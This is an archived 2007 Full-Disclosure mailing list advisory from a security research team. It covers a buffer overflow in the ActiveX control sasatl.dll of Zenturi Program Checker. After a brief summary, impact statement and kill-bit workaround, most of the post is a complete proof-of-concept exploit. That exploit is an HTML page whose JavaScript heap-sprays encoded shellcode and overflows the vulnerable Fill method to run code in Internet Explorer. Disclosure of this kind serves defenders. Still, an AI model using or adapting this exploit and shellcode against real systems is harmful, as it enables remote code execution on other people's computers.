lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite for Android: free password hash cracker in your pocket
[<prev] [next>] [day] [month] [year] [list]
Message-Id: <1184096495.6021.16.camel@darkforest>
Date: Tue, 10 Jul 2007 16:41:35 -0300
From: Goodfellas SRT <goodfellas@...llcode.com.ar>
To: full-disclosure@...ts.grok.org.uk
Subject: [GOODFELLAS - VULN] sasatl.dll 1.5.0.531 Program
	Checker - Javascript Heap Spraying Exploit

:. GOODFELLAS Security Research TEAM  .:
:. http://goodfellas.shellcode.com.ar .:


sasatl.dll 1.5.0.531 Program Checker -  Javascript Heap Spraying Exploit
==========================================
Internal ID: VULWAR200707101.


Introduction
---------------
sasatl.dll is a library included in the Program Checker Pro software 
package from the Zenturi. (http://www.programchecker.com)


Tested In
-----------
- Windows XP SP1/SP2 english/french with IE 6.0 / 7.0.
- Windows vista Professional English/French SP1 with IE 7.0


Summary
------------
The Fill method is prone to a stack-based buffer-overflow vulnerability 
because it fails to properly check boundaries.


Impact
---------
An attacker could execute arbitrary code into the remote machine.


Workaround
---------------
- Activate the Kill bit zero in
clsid:7D6B5B29-FC7E-11D1-9288-00104B885781.
- Unregister sasatl.dll using regsvr32.


Timeline
----------
July 10, 2007 -- Bug published.


Credits
---------
* callAX <callAX@...llcode.com.ar>
* GoodFellas Security Research Team <goodfellas.shellcode.com.ar>

Proof of Concept
----------------

<HTML>
<BODY>
  <object id=boom
classid="clsid:{7D6B5B29-FC7E-11D1-9288-00104B885781}"></object>

<SCRIPT>

var payLoadCode=unescape(
"%uE860%u0000%u0000%u815D%u06ED%u0000%u8A00%u1285%u0001%u0800" +
"%u75C0%uFE0F%u1285%u0001%uE800%u001A%u0000%uC009%u1074%u0A6A" +
"%u858D%u0114%u0000%uFF50%u0695%u0001%u6100%uC031%uC489%uC350" +
"%u8D60%u02BD%u0001%u3100%uB0C0%u6430%u008B%u408B%u8B0C%u1C40" +
"%u008B%u408B%uFC08%uC689%u3F83%u7400%uFF0F%u5637%u33E8%u0000" +
"%u0900%u74C0%uAB2B%uECEB%uC783%u8304%u003F%u1774%uF889%u5040" +
"%u95FF%u0102%u0000%uC009%u1274%uC689%uB60F%u0107%uEBC7%u31CD" +
"%u40C0%u4489%u1C24%uC361%uC031%uF6EB%u8B60%u2444%u0324%u3C40" +
"%u408D%u8D18%u6040%u388B%uFF09%u5274%u7C03%u2424%u4F8B%u8B18" +
"%u205F%u5C03%u2424%u49FC%u407C%u348B%u038B%u2474%u3124%u99C0" +
"%u08AC%u74C0%uC107%u07C2%uC201%uF4EB%u543B%u2824%uE175%u578B" +
"%u0324%u2454%u0F24%u04B7%uC14A%u02E0%u578B%u031C%u2454%u8B24" +
"%u1004%u4403%u2424%u4489%u1C24%uC261%u0008%uC031%uF4EB%uFFC9" +
"%u10DF%u9231%uE8BF%u0000%u0000%u0000%u0000%u9000%u6163%u636C" +
"%u652E%u6578%u9000");


    var spraySlide = unescape("%u9090%u9090");
  var heapSprayToAddress = 0x0c0c0c0c;


    function Tryme()
    {
        var size_buff = 900;
        var x =  unescape("%0C%0C%0C%0C");
        while (x.length<size_buff) x += x;
        x = x.substring(0,size_buff);

        boom.Fill(x);
    }
    

       function getSpraySlide(spraySlide, spraySlideSize)
{
while (spraySlide.length*2<spraySlideSize)
{
spraySlide += spraySlide;
}
spraySlide = spraySlide.substring(0,spraySlideSize/2);
return (spraySlide);
}

        var heapBlockSize = 0x400000;
        var SizeOfHeapDataMoreover = 0x26;
    var payLoadSize = (payLoadCode.length * 2);

    var spraySlideSize = heapBlockSize - (payLoadSize +
SizeOfHeapDataMoreover);
    var heapBlocks = (heapSprayToAddress+heapBlockSize)/heapBlockSize;

    var memory = new Array();
        spraySlide = getSpraySlide(spraySlide,spraySlideSize);

    for (i=0;i<heapBlocks;i++)
        {
            memory[i] = spraySlide +  payLoadCode;
        }

</SCRIPT>
<input language=JavaScript onclick=Tryme() type=button value="Proof of
Concept">
</BODY>
</HTML>

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ